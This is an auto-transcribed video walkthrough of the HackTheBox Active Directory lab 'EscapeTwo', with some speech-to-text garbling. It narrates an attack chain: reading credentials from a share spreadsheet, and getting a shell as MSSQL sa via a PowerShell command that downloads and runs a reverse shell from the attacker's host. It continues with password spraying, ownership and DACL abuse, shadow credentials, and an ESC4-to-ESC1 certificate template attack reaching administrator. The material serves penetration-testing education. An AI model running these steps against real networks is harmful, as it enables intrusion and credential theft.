text: What's going on YouTube? This is IPSC me doing escape 2 from hack the box which is an assumed breach style box meaning we start out with a set of credentials and these credentials let us access a lot of services but if we check out the fileshare we can find a spreadsheet that has a set of credentials and these credentials lead to cisadmin access over Microsoft SQL which we can use to get a shell on the box and looking at the install script for Microsoft SQL reveals another password which if we spray the domain leads to another user that has a right owner over the certificate authority a service account. So, we can take that account over, which lets us modify a certificate template, which essentially allows us to make that template vulnerable to ESC1, allowing us to impersonate the administrator user.

title: HackTheBox - EscapeTwo


text: It's definitely on the more difficult end of easy, but it's all good stuff. So, let's jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV enumerate versions, VVV for double verbose. This gives us things like the TTL OA output all formats in the end map directory and call it escape 2. and then the IP address of 101011.51. This can take some time to run, so I've already ran it. Looking at the results, we have 12 ports open. The first one being DNS on port 53. And we see the banner as simple DNS plus, which is the default banner for Windows Active Directory. So, I always go look down to make sure AD is installed when I see that. And I also see a host name leaked in a LDAP certificate. So, I'm going to go ahead and copy this. And let's add this to our host file real quick. So pseudo v etsy host then 10 10

title: HackTheBox - EscapeTwo


text: 1151. And I like adding um three ways to specify it. The fully qualified name, then just the domain name, and then just the machine name because Windows likes to use all three of those. And um if you don't have them all, you may have an issue down the line that just causes you to waste a lot of time. But now let's take a look at what we have via end map. So we know it's active directory. The thing I'm looking for mainly is non-default ports because you have a lot of just um AD noise I guess. So DNS, Keraros, RPC, LDAP. Let's see what else we have. Um SMB. I think this is another Kerros port. I don't know exactly what 593 is. RPC over HTTP.

title: HackTheBox - EscapeTwo


text: I always see that on AD servers. Just never dug into it. Um secure LDAP. Let's see what else we have. Microsoft SQL. So, this is going to be a um unique one.

title: HackTheBox - EscapeTwo


text: LDAP. And then I want to say there's another LDAP. And that is it. Our clock skew is 2 minutes and 39 seconds. So, we don't have to worry about syncing our time with this box. So, there's really not much to go off on. We just have Active Directory and Microsoft SQL. This box is an assumed breach. So, we do start out with a set of credentials rose and then this password. And I put that in my creds.ext file. So, um, I'm going to start out with net exec. So, we can do net exec SMB then dco1 um escape 2.htb and then u rows-p. We'll put this password in just to make sure this works. And uh maybe it's SQL. So, that's odd. The um box name and domain name did not line up, but that's fine. ds1.sql.htb HTTP. Let's see. We authenticate and we could try things like WinRM and things like that to see if we can access things. Um, this is Microsoft SQL as

title: HackTheBox - EscapeTwo


text: well. So, we can do MSSQL. And we do get authenticated. So, I'm going to do a -8 for help. Um, -X would allow us to run commands. So, I'm just going to run the who am I command. And we don't get any output because most likely um the XP cmd shell is not enabled and we just don't have um permissions to enable it because we're a domain user which is probably mapped as guest. If I do dash capital L, there's going to list all the um modules I have access with. We can try like the module enable cmd shell to see if we can enable that. um missing required option action. We can run other things like msql_priv but nothing gets us anywhere.

title: HackTheBox - EscapeTwo


text: So other things we can enumerate just standard Windows active directory like we could do a um what was it d- users with SMB and this will get us a list of users on the box and since there's not that many because it's just a hack the box machine you can kind of get an idea of what paths may be in right so we just see the default some usernames but we see two service accounts SQL and CA probably stands for certificate authority so we There's probably a MSSQL step and some type of ADCS exploitation, right? Um, let's see what else could we do. We could look at the shares. So, we do d-shares and that's going to list all the file shares on this box. And there's going to be some that are just noise like net login, cisvault, things like that. But we do see accounting department with read access. And then we also have users. So, these two shares we

title: HackTheBox - EscapeTwo


text: want to be able to see. This is probably just going to be mapped to the home drive so we can see what is in Rose's home directory. Accounting department, I don't know. And for spidering shares, I like using the spider plus plugin. Um, but when you run this, the default is only to exclude um the print and IPC share. And I like adding the net login and this fall share because these have a lot of files and will just take very long time to run if you don't exclude them. So do a dash o then exclude filter. Let's fix that typo. And then I'm going to add these two. So we can copy this paste. And let's see. We will want to exclude um the print IPC net log on and cisvault. So that should run spider plus. And we can also run bloodhound.

title: HackTheBox - EscapeTwo


text: And I normally run bloodhound from the Python ingesttor manually, but net exec does have a way to run it. And that's under the LDAP module. So we can do d- blood hound and then collection all. And I like specifying DNS server 10 10 1151. And let's see. There we go. We're running Blood Hound. We've got our files um downloaded. So we can copy this. So we can move to let's call this um spider rows.json. And if we cat this, we have a list of the files. Now I like using jq to parse this. So we'll do jq and then map values keys. And I've explained this in a video before. If I do ipsc.rocks, Let's see. Um, Spider Plus. Probably go to the search video. This is probably where I explained it the best, but um, yeah. So, we look at what files we have.

title: HackTheBox - EscapeTwo


text: Under the accounting department, we have two um, spreadsheets and then under users, I don't see anything too interesting. Lots of shortcuts. Uh, there's a desktop like configuration file. Uh just many many shortcuts. Uh we could probably even like dp-vln to get that noise out and maybe add um ini to it as well. And that gets a lot of noise out. All standard things in our home drive. But accounting department has two interesting files. So let's go ahead and download those. Um, I'll do SMB client- u uh rows. And I know net exec has a way to um download files from shares, but I just can't remember every single flag off the top of my head. So, let's see. I'm just going to do nxc SMB. That puts the um password where I can see it. So, SMB client-u rose.

title: HackTheBox - EscapeTwo


text: And we'll copy this and let's do accounting department and we have to specify 10 10 1151. Paste the password. There we go. If I do a diir, we can now get accounts.xlsx XLSX and get accounting 2024 XLSX. Download those two files. Um, Blood Hound is done. I'm just going to move this here and then we'll look at it later. There's really not much information here.

title: HackTheBox - EscapeTwo


text: Um, but yeah, I'm actually going to move that and we'll call it rose blood hound.zip. Okay. Now, let's see where was I. We downloaded two Excel files.

title: HackTheBox - EscapeTwo


text: So, let's go ahead and do an ls. And then we can just open accounts.xlsx. And we see it looks like it is um formatted poorly. Like all the output is just god awful, right? If I try to open it, it's going to look like it's corrupt. So, what I'm going to do is unzip it.

title: HackTheBox - EscapeTwo


text: So, I'm going to make a directory called accounts and then I'll unzip this file and we'll see if we can make sense of any of these, right? Because um Word documents are really just zipped up XML things.

title: HackTheBox - EscapeTwo


text: So, we go in Excel, we have worksheets. So, if I look at worksheets, uh, let's do sheet one.xml. And let's see. Don't really see too much. Uh, we see essay at sql.htb, but looking around it, there's not much more information. I should probably use a program like xmlint to convert this into um like a commaepparated file or restore this. But we could also look at shared strings to see what's in here. And looking at this, we see a random string right off the bat. And let's see, that is probably going to go to Kevin. So maybe that's Kevin's password. I also see MSSQL password exclamation point. So this is a much more interesting file. And that's next to um SA at SQL. Now, I know there's commands that you can use to like format this better. If you go to like oxds blog, I'm sure he'll use like XML lint or something else to get this to a CSV file, but I won't know how to

title: HackTheBox - EscapeTwo


text: do that off the top of my head. I'll show you the lazy way I normally do because sometimes lazy just works and it gets you past the point you need, right? So, I'm going to use said. So, we'll do said and then I'm going to look right now. I'm looking at this. The username is just XML space preserve. And what I see assume is the password is still XML space preserved. So there's no like unique filter between these. So I'm just going to look at SI or actually let's just grab this. So I'll take this. So we'll do a said search. I'm going to search for that string and I'll replace it with a line break.

title: HackTheBox - EscapeTwo


text: And now what I'm going to do is a another set and I'm going to search for the open carrot or whatever you want to call it. And then we'll search for everything after that as well. Replace it with nothing. And now we kind of just filter down our file much better. Right? So I'm going to write this down to um output.ext. And if we cat output.ext text or v output. We should be able to quickly go through this. So, usernames, let's delete the name. Angela, like that. There we go. Oscar at SQL like that. Kevin Malone and then SA. There we go.

title: HackTheBox - EscapeTwo


text: So the one that sticks out really to me is that essay, right? So let's do um NXC MSSQL and then um SQL.htb this is dc1-a-p. Let's specify this password and see if we get logged in.

title: HackTheBox - EscapeTwo


text: Uh it says also we can try local off. So we'll try that. And there we go. We get logged in and it says poned because we logged in with SA. If we do dash X like who am I? Now we can run commands and we're the SQL service user. So let's get a shell in this box. So, I'm going to do a make dubdubdub and then we're going to copy user share nashang and then um shells invoke powershell tcp oneline.ps1. I'll call it shell.ps1 just so it's easier to type later. And then let's just use the first one. And then we'll replace this with our IP 10148. And this will be 9,01. There we go. So now we got our shell. Um I like putting it down here. There we go. Um this is where I have NXC, right? Make dur. There we go. So let's do Python 3 m http server then rl wrap nclvnp 90001. And now if we do dash capital x

title: HackTheBox - EscapeTwo


text: that's going to run a powershell command. So now I can just do ex new object net.webclient download string http 101048 8000shell.p PS1 and let's see if this works. We got the file and we get a shell. Awesome. So now we are who am I slall? Um we're going to be that SQL service user, right? And what I always look for once I get a shell is what privileges I have. And uh we don't have like the SED bug or impersonate user privilege. So we can't really do any type of potato attack. So let's see what else we have on this server. If I do a diir, the directory that stands out was SQL 2019. Uh so let's go take a look at that. So if we do cdsql 2019, they have an express install. If we go in here, uh we have a configuration file. So if we look at this config then let's see we get a another password that we haven't seen before

title: HackTheBox - EscapeTwo


text: this WQSZ. So what we want to do is um spray this password to see what it goes to. So, let's see. The easiest way to do this, um, there's probably a quick way to get the users out of the Blood Hound data, but I'm just going to do D- users. And then we'll copy and paste because I don't know the JQ off the top of my head and it'll take me probably longer than it does to do this to um, do that. So we can just copy this short v al.ext.

title: HackTheBox - EscapeTwo


text: Um there we go. Then cat out.ext. Let's do a print. That's one, two, three, four, five. There we go.

title: HackTheBox - EscapeTwo


text: Users.ext text v users. Let's delete that first line. And then what was that password we got? That is down here. Grab this. So we can do nxc SMB 1010 1151.

title: HackTheBox - EscapeTwo


text: Oh, we probably should have used the host name, but it doesn't matter for spring uh users.ext P for the password.

title: HackTheBox - EscapeTwo


text: And I always like adding continue on success. Otherwise, it's going to stop after the first um successful one. Maybe this password goes to multiple accounts, right? So, let's see. We have Ryan SQL service and that's it. So, we have Ryan's access and let's see what Ryan can do. So, if we do um Ryan SMB Okay, we can also try WinRM. And we see we could log into the box as Ryan, but I'm not going to do that because we never actually have to do this. And I'm going to take a step back. And now let's look at the Blood Hound data we got from Rose. And then I'm going to get more blood hound data from the SQL user because um the Python ingesttor for blood hound doesn't get all the data that sharpound does. So I want to show that difference. So let's go ahead now and go into blood hound uh cdop blood hound. I think it's in server and then let's do blood hound

title: HackTheBox - EscapeTwo


text: port and then do compose up. This should start it. And it's probably gonna take a minute or so to start. So, I'm gonna pause the video and we'll just um come back and log into Blood Hound. Okay. So, now let's go to the web browser. We can do localhost 888. And then we'll probably have to log in to Blood Hound. So, admin and then if I can type my password. There we go. I think I did. It should just save that. But I always wipe my browser for these videos. Um, so I doubt that'll be saved for long. But let's now go ahead to ingest our data. And remember, we got this data from rows, right? Um, and normally it doesn't matter what user you get Blood Hound data from. Um, but in this case, it mainly does because we're getting it from Python and not the.NET and the Python is a little bit behind. And

title: HackTheBox - EscapeTwo


text: that's the main thing I want to show here. So it should be ingesting now. Um while that ingests, let's go ahead and just download the uh sharpound one. So let's do cp op bloodhound inesters uh sharpound.exe. Start my web server back up. And then let's go into program data because I know we can write there. And then let's curl http 10 10148 8000 uh sharphound.exe O. I'll just call it sh.exe to make it easier to type. D C all I think it needs a capital A. Let's see. Is that done? It is.

title: HackTheBox - EscapeTwo


text: Okay, Stout is running. It'll take a little while. So, let's go see what we have. Um, we can mark the users we have as owned. So, that's probably where we should start. So, let's go rows, rightclick, mark as owned, and then who else do we have?

title: HackTheBox - EscapeTwo


text: Um, we have the SQL server. And then I think Ryan. And that may be it. We may have one more. No, I think that's it. Oh, come on, Ryan. There we go. Add to owned. So now if I go to cipher queries and we do browse, I do shortest path from own principles. I'm curious what it's going to show me. Uh owned objects.

title: HackTheBox - EscapeTwo


text: There we go. So let's see what do we have. So we can see man this is really glitchy. Uh dark reader turn this off. Use this dark mode. That's better. Okay. So, we have these three users and Ryan can access the CA certificate user. That's a member of certificate publishers. Uh, we also see Ryan's a member of um remote management users. That's not too important. Uh, Rose and SQL Service are domain users. None of these are important groups. But the important thing here is we can write the owner of CA service that's a member of certificate publishers that is a member of denied. This one isn't that important but this is however a blood hound doesn't have enough information to go on. Right. So let's go ahead and copy the net and we'll rerun this query and it's going to go crazy. Um so we have the data here. So, let's copy this. I'll copy it into my home

title: HackTheBox - EscapeTwo


text: directory. That should be fine. Um, let's do SMB client-u What is a user? Is it SQL SVC? Then 10 10 1151 users. This should be the password. Awesome. CDS SQL service get our blood hound data. Okay. So, let's go back to I'm actually before we do this, I'm going to remove these two users from owned. And you'll see why I do this um after we run the next query because it's bonkers. So, let's upload the file. Uh, this one's going to be the net one. Upload. Close. And while that ingest, um, I didn't run this command, uh, when we were doing all the recon just because I kind of got in the flow. But when we noticed the, um, certificate services was installed.

title: HackTheBox - EscapeTwo


text: We could have ran soda, right? We could do um certify-u rose at sql.htb um password of this and is that all I do for find? Yeah. Oh, we probably have to do standard out um std out. Otherwise, it'll just output to two log files and that's a bit annoying. And I don't know why my certify is doing this DNS resolution failure. Um, it seems to be working. So, don't fully understand that it's checking web enrollment timed out or at least I thought it was working. Let's see. Ping. Yes, that resolves. Okay, we have things. So, we have probably 33 different certificates. And if we went through them all, um, we wouldn't really find too much. And if I did the, uh, dashvone, it's not going to show anything, but we'll run that anyways. But we see here is this certificate that we're looking at, uh, full control is under toert publishers. So that means

title: HackTheBox - EscapeTwo


text: this users of certificate publishers are able to take ownership over this template and once you take ownership over the template then you can modify it to become vulnerable. Right? So that's the ESC4 attack and that's what this is. It's not going to be shown as marked vulnerable because the user we ran it as um isn't a member of that certificate publishers group. Um but in our previous blood hound path we had saw that right that um our user was a could write owner of CA certificate service that then was a member of certificate publisher. So we're in this group so we can modify the certificate template once we um do that attack path. But I'm going to click run again because now we have the um sharp pound ingested. And that's now the new path because there's so many certificates and everything that are shown up. So this is

title: HackTheBox - EscapeTwo


text: why I want to remove the other owned users because this would get even bigger, right? So to make this a bit more manageable, we want to hide some things, right? So let's look at like the paths down here that we don't care about. Probably this is because of kps remote. So I'm going to remove kenps remote from this because I don't care about that attack path here. See what else is there. Um ades for it. It's calling out that path. That's the one I want to see. Right. Uh generic all. I'm guessing this is what we want to work off of, right? So, we can see Ryan has right owner over the CA um service and that um can perform this ADS4 on SQL HTB. So, it's calling it out. It's a bit hard to see just because of how many objects are in this but um yeah let's see right dackle this right earner probably

title: HackTheBox - EscapeTwo


text: contains eh but this is the main thing I want to point out that sharp pound you could actually um see the ad esc path much easier here um if you use that. So let's go ahead and now exploit that. But before we can exploit this, we have to um become the CA service user, the certificate authority service. So we have right earner. So if we have right earner, that means um we can take ownership and then allow ourselves access to create a shadow credential.

title: HackTheBox - EscapeTwo


text: And I'm going to show that here. So first let's run certify shadow auto username and this is going to fail but I want to show the failure before we do it right. So we do dash password um what is the password we had it here.

title: HackTheBox - EscapeTwo


text: Copy. There we go. That's the password. So we do certify. Um the account we want is the CA service. We'll do DCIP of 1010 1151. And this is probably going to fail pretty quickly because of access rights, right? Um we have insufficient rights to that account. So let's now become the owner. So because we have write owner, I can run owneredit which is part of impact. We're going to say the action write and we're going to say new earner is going to be Ryan. The target is the CA service user. And then we'll do um authentication. So SQL HTTP Ryan colon the password which I did not have my clipboard anymore. Let's delete all that. And then grab Ryan's password.

title: HackTheBox - EscapeTwo


text: Okay, so we have now became the owner. And if we ran this, it still won't work because even though we're the owner, we didn't give ourself the permission to write objects. So now let's do a um dackle edit. So we'll do dackleedit and then we want to do action write. We don't have new earner anymore. We're going to specify rights full control and the casing is sensitive. If we just did this all lowercase, it's going to error which is silly. But um we can show that real quick. See invalid choice. So let's do full control and let's see principal principal SID. Uh, let's do principal Ryan. There we go. So, it didn't know who to add as um full control over CA service. So, now we have modified that. So, now we can run our certify shadow command again. And this time it should work, right? So, there we go. We have successfully added the key credential and now it's getting the TGT and then

title: HackTheBox - EscapeTwo


text: eventually it will give us the NLM hash of the certificate authority service user and then we're going to perform the ESC4 attack. So we have the hash here.

title: HackTheBox - EscapeTwo


text: We can just validate it real quick. So, NXC, SMB, uh, we'll just do 1010 1151 user, uh, CA, SVC, I think, dash capital H for hash, right? Yep, there we go. So, we have that. And to perform the ESC4 attack, um, this is the best blog post I saw on it. So, let's do ESC4 exploit. Go over to Google. And this RBT security has a really good um post about it. Let's now turn my dark reader back on. So I would recommend this part if you get confused, but essentially um ESC4 is a misconfiguration in permissions. I wouldn't call it exactly a certificate attack because um it's permission based, right? the when we looked at the certify output, we saw cert publishers could take ownership over a certificate and then modify it to become exploitable, right? So that's what ESE4 is. It's being able to modify a certificate template that you can then use to exploit. So let's do soda pi

title: HackTheBox - EscapeTwo


text: find-a service at sql.htb hashes. That should still be my clipboard. Awesome. standard out and von. So this will tell me which certificate is vulnerable and we're just running through the commands they have and certify in version five has changed something slightly.

title: HackTheBox - EscapeTwo


text: Um they're showing in blood hound but the actual command with like save old doesn't uh work anymore. So if you're using a old version of Certifi, this is going to be the command you run, but I'm on five. So um we're going to have to change the command slightly. So we see there is a vulnerability ESC4 and that's because um we're in the group search publishers and if we go up we can see the certificate template is Dunder Mifflin authentication. So let's go ahead and modify this. So we're going to do certify template and let's see if we can find the help real quick. So if we do write default configuration, it's going to apply the default certify ESC1 configuration template which is vulnerable to ESC1. So we're going to um make the dunder mifflin authentication vulnerable to ESC1 and um be done with it. You could also I think by default

title: HackTheBox - EscapeTwo


text: it's going to save the configuration of it. If you want to just back up the template you can use write configuration but this will back it up by default unless you specify no save right. Um actually back up with save configuration. Write configuration is how you restore it.

title: HackTheBox - EscapeTwo


text: So we'll just go through it real quick. So we did find let's do template. Where was it? Did I already do that? Yeah, right here. So, we do template specify all that and let's see, we need the template name. So, this template and this is Dunder Mifflin authentication. And then what else do we need? That may be it. Um, let's do write default configuration. And there we go. These are the changes it's going to make. Do we want to apply them? Yes. And if we do als configuration of it, right? But now that we have applied this now, we should be able to um perform a ESC1 attack. I'm going to run that vaugh again to see what it shows because this should now say it's vulnerable to ESC1. Checking web enrollment. It's going a little bit slow, but um I guess while that goes by the time I copy this command, I

title: HackTheBox - EscapeTwo


text: bet that's going to be finished. Um I just want to copy this. I guess that's already done. Uh, ESC4. Do we have ES1 still? That's weird. I thought it would call that out as vulnerable. Guess it doesn't. Okay, so let's just move on. Um, let's do request uh CA service hashes. Awesome. And then we need the um what is it the CA which is going to be at the top here. So SQL dco1ca. So this is going to be where we make the request. Uh the template we want is dunder mifflin authentication. Hopefully I didn't type that. And then we need the UPN. This going to be who we're going to impersonate. And we're going to say administrator atsql.htb. And let's see, does this work? It's going a little bit slow, but I think that's fine. Uh, got error DNS required. Uh, subject alternate name. I don't think that worked. Let's try

title: HackTheBox - EscapeTwo


text: adding target DC1 SQL HTB. It wrote the key. I don't think this is working. Um, certify off. No, I should get a PFX file. Let's see.

title: HackTheBox - EscapeTwo


text: DH target IP 1010 1151. I do not like this. Let's see. Let's go up. I'm going to copy this certificate.

title: HackTheBox - EscapeTwo


text: Okay. So, I'm going to make sure um some cleanup script didn't happen. So, we're just going to rerun everything we did. So, we changed the owner, we changed the dackle. Uh I didn't have to do that because I already have the hash. Um let's do the template. Uh let's see. Let's remove that JSON. And what we want to do is the right default configuration. There we go. Yes, we apply it. Rerun this. There we go. So I think like me check like running the certify again to check vulnerable like by that time that finished I think something came in and reverted the certificate template. So I think that's what the error was and that's why this command didn't say it was vulnerable to ESC1. I'm going to double check that. That's why I'm running this va command again because this really should tell us that it's vulnerable to both es4 and es1. At

title: HackTheBox - EscapeTwo


text: minimum it should just say es1 and not es4.

title: HackTheBox - EscapeTwo


text: Um, but we're getting timeouts now. ES4. I have a feeling it reverted. Let's do dash no save. We've already saved the backup. Run this real quick. Okay, there we go. So it is definitely probably the cleanup script because we can see now it's vulnerable to both ESC1 and ESC4. So when we ran it before we got administrator.pfx um let's see pfx right here. So this certificate is able to authenticate as administrator. So let's do a um soda o pfx then the pfx file dcip 1010 1151 this should get us the um nlm hash of administrator and then we can use that to uh psac right so we have the nlm hash here let's do a ps exec then we can do dash hashes is administrator at 1010 11151 requesting shares uploading psac and getting a shell. There we go. So now we are um administrator on the server. So we can go administrator probably

title: HackTheBox - EscapeTwo


text: under desktop and get the um root.ext. So that's going to be the box. Oh wait, I just realized there was one more thing I wanted to show, right? Um, I kind of forgot about it because the server was cleaning itself up. But let's say we're on an actual engagement and we just did this ESC4 and we modify the certificate template to become vulnerable. We got the um certificate so we can log in. We should revert that um change. So we didn't introduce a new vulnerability, right? So let's go back to our template command, right? And what we can do is just do a write configuration and then specify the JSON file it saved. If we do this, it should um wait what? Oh, saving current configuration. Let's do also a no save. I hope this is how you're supposed to do it, right? Um new configuration the same. So, it's not updating because um there were no

title: HackTheBox - EscapeTwo


text: changes made and that's just because the server reverted itself. But this is what I would do um on an engagement after I modified a template. I would always try to revert it back to how it was uh before I exploited it. So, with that being said, that's the video. Hope you guys enjoyed it. Take care and we'll see you all next

title: HackTheBox - EscapeTwo